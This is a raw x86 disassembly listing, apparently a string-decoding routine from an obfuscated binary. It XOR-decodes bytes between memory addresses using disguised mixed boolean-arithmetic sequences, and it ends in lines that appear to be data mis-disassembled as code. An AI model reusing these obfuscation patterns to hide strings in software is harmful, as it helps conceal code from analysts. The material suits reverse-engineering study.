xor cl, 0xff
and cl, 0x52
xor cl, 0xff
mov ch, 0x52
and ch, 0x52
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb356], cl
mov cl, byte [0x101cb348]
xor cl, 0x18
mov byte [0x101cb357], cl
mov cl, byte [0x101cb349]
xor cl, 0x4d
mov byte [0x101cb358], cl
mov cl, byte [0x101cb34a]
mov dl, cl
and dl, 0xfd
shl dl, 1
add cl, 0xfd
sub cl, dl
mov byte [0x101cb359], cl
mov dh, byte [0x101cb34b]
mov cl, dh
xor cl, 0xff
and cl, 0xeb
mov ch, 0xff
xor ch, 0xeb
and dh, ch
mov dl, 0xff
xor dl, 0xa5
and dl, 0xeb
and ch, 0xa5
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb35a], cl
mov cl, byte [0x101cb34c]
xor cl, 0xb3
mov byte [0x101cb35b], cl
mov cl, byte [0x101cb34d]
xor cl, 0x2c
mov byte [0x101cb35c], cl
mov cl, byte [0x101cb34e]
mov dl, cl
xor dl, 0xb5
xor dl, 0xff
and dl, 0xb5
shl dl, 1
sub dl, 0xb5
sub cl, dl
mov byte [0x101cb35d], cl
mov cl, byte [0x101cb34f]
xor cl, 0x65
mov byte [0x101cb35e], cl
mov dl, byte [0x101cb350]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb1
or cl, ch
mov ch, 0xff
xor ch, 0xb1
mov dh, 0xff
xor dh, 0xb1
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb35f], cl
mov cl, byte [0x101cb351]
xor cl, 0x8c
mov byte [0x101cb360], cl
mov dl, byte [0x101cb323]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x22
or cl, ch
mov ch, 0x22
and ch, 0x22
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb32b], cl
mov cl, byte [0x101cb324]
xor cl, 0xe
mov byte [0x101cb32c], cl
mov dl, byte [0x101cb325]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x52
or cl, ch
mov ch, 0xff
xor ch, 0x52
mov dh, 0xff
xor dh, 0x52
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb32d], cl
mov dl, byte [0x101cb326]
mov cl, dl
xor cl, 0xff
and cl, 0x73
mov ch, 0xff
xor ch, 0x73
and dl, ch
or cl, dl
mov byte [0x101cb32e], cl
mov cl, byte [0x101cb327]
mov dl, cl
xor dl, 0xb9
xor dl, 0xff
and dl, 0xb9
shl dl, 1
sub dl, 0xb9
sub cl, dl
mov byte [0x101cb32f], cl
mov cl, byte [0x101cb328]
xor cl, 0xf7
mov byte [0x101cb330], cl
mov dh, byte [0x101cb329]
mov cl, dh
xor cl, 0xff
and cl, 0x4f
mov ch, 0xff
xor ch, 0x4f
and dh, ch
mov dl, 0xff
xor dl, 0x54
and dl, 0x4f
and ch, 0x54
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb331], cl
mov dh, byte [0x101cb32a]
mov cl, dh
xor cl, 0xff
and cl, 0xb8
mov ch, 0xff
xor ch, 0xb8
and dh, ch
mov dl, 0xff
xor dl, 0x32
and dl, 0xb8
and ch, 0x32
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb332], cl
mov cl, byte [0x101cb333]
xor cl, 0xb9
mov byte [0x101cb33b], cl
mov cl, byte [0x101cb334]
xor cl, 5
mov byte [0x101cb33c], cl
mov dh, byte [0x101cb335]
mov cl, dh
xor cl, 0xff
and cl, 0x7b
mov ch, 0xff
xor ch, 0x7b
and dh, ch
mov dl, 0xff
xor dl, 0x12
and dl, 0x7b
and ch, 0x12
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb33d], cl
mov cl, byte [0x101cb336]
xor cl, 0xea
mov byte [0x101cb33e], cl
mov cl, byte [0x101cb337]
xor cl, 0xfa
mov byte [0x101cb33f], cl
mov dl, byte [0x101cb338]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xa7
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa7
mov dh, 0xff
xor dh, 0xa7
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb340], cl
mov cl, byte [str.mY_hiK]
xor cl, 0x5f
mov byte [0x101cb341], cl
mov cl, byte [0x101cb33a]
xor cl, 0x59
mov byte [0x101cb342], cl
mov cl, byte [0x101cb30b]
xor cl, 0x6d
mov byte [0x101cb317], cl
mov cl, byte [0x101cb30c]
mov dl, cl
xor dl, 0x94
xor dl, 0xff
and dl, 0x94
shl dl, 1
sub dl, 0x94
sub cl, dl
mov byte [0x101cb318], cl
mov cl, byte [0x101cb30d]
mov dl, cl
xor dl, 0xa5
xor dl, 0xff
and dl, 0xa5
shl dl, 1
sub dl, 0xa5
sub cl, dl
mov byte [0x101cb319], cl
mov cl, byte [0x101cb30e]
xor cl, 0x8e
mov byte [0x101cb31a], cl
mov cl, byte [0x101cb30f]
xor cl, 0x8e
mov byte [0x101cb31b], cl
mov cl, byte [0x101cb310]
mov dl, cl
xor dl, 0x48
xor dl, 0xff
and dl, 0x48
shl dl, 1
sub dl, 0x48
sub cl, dl
mov byte [0x101cb31c], cl
mov dl, byte [0x101cb311]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xcc
xor cl, 0xff
mov ch, 0xcc
and ch, 0xcc
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb31d], cl
mov dh, byte [0x101cb312]
mov cl, dh
xor cl, 0xff
and cl, 0xf4
mov ch, 0xff
xor ch, 0xf4
and dh, ch
mov dl, 0xff
xor dl, 0xa9
and dl, 0xf4
and ch, 0xa9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb31e], cl
mov cl, byte [0x101cb313]
xor cl, 0xc3
mov byte [str.Fqz0_ro_a], cl
mov dl, byte [0x101cb314]
mov cl, dl
xor cl, 0xff
and cl, 0xdc
mov ch, 0xff
xor ch, 0xdc
and dl, ch
or cl, dl
mov byte [0x101cb320], cl
mov cl, byte [0x101cb315]
xor cl, 0x86
mov byte [0x101cb321], cl
mov dh, byte [0x101cb316]
mov cl, dh
xor cl, 0xff
and cl, 0x6e
mov ch, 0xff
xor ch, 0x6e
and dh, ch
mov dl, 0xff
xor dl, 0xba
and dl, 0x6e
and ch, 0xba
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb322], cl
mov cl, byte [0x101cb361]
xor cl, 0xa8
mov byte [0x101cb369], cl
mov cl, byte [0x101cb362]
mov dl, cl
xor dl, 0x9c
xor dl, 0xff
and dl, 0x9c
shl dl, 1
sub dl, 0x9c
sub cl, dl
mov byte [0x101cb36a], cl
mov cl, byte [0x101cb363]
xor cl, 0x53
mov byte [0x101cb36b], cl
mov cl, byte [0x101cb364]
xor cl, 0x33
mov byte [0x101cb36c], cl
mov cl, byte [0x101cb365]
mov dl, cl
and dl, 0xe6
shl dl, 1
add cl, 0xe6
sub cl, dl
mov byte [0x101cb36d], cl
mov cl, byte [0x101cb366]
xor cl, 0x63
mov byte [0x101cb36e], cl
mov cl, byte [0x101cb367]
xor cl, 0xba
mov byte [0x101cb36f], cl
mov cl, byte [0x101cb368]
xor cl, 0xe8
mov byte [0x101cb370], cl
mov dword [eax], 0xbcb92195
jmp 0x100460cc
xchg ebp, eax
and dword [ecx + 0x2fe9bc], edi
add byte [eax], al
mov eax, dword [ebp - 0x1c]
js 0x100460b0
stosd dword es:[edi], eax
fistp qword [eax + edi*4]
jp 0x10046094
ljmp 0xba00:0xc7ddb9b8
or ch, cl
jmp 0x100460cc
mov eax, dword [ebp - 0x1c]
cli
xchg ecx, eax
sti
lahf
hlt
jmp 0x1003a913